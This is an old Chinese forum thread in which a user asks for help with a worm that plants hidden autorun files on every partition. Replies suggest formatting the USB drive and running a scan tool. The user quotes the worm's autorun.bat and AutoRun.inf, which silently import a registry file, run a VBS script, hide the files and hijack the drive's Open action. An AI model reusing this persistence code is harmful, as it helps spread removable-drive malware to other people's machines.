1   1  /  1  页   跳转

每个分区下均出现一堆autorun文件

每个分区下均出现一堆autorun文件

在我的电脑下,双击盘符,结果另打开了一个窗口。
每个分区下都有一堆autorun文件,有exe\bat\reg\ico而且伪装成系统文件,删除后,再打开分区,又出现了。我用金山毒霸查,也 不知道什么病毒。








编辑autorun.bat得到:
@echo off
rem autorun风暴
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit
:open
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
:end


--------------------------------
AutoRun.inf 里面的文件,我已经删除了WScript.exe,还是没有什么用

autorun风暴
[autorun]
open=

shell\open=打开(&O)
shell\open\Command=WScript.exe .\autorun.vbs
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=WScript.exe .\autorun.vbs
最后编辑2006-06-22 23:31:58
分享到:
gototop
 

参考:http://forum.ikaka.com/topic.asp?board=28&artid=8003098
gototop
 

U 盘传播格掉U盘..
gototop
 

应该是蠕虫病毒
请下载 System Repair Engineer,使用“智能扫描”,按下“扫描”按钮进行扫描,扫描完成后按下“保存报告”按钮保存报告日志文件(SREng.LOG),把保存的报告日志文件内容复制-粘贴上来
下载网址
http://www.kztechs.com/sreng/sreng2.zip
http://forum.ikaka.com/topic.asp?board=67&artid=5188931
日志一次粘不完,分次粘完,请不要修改。
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT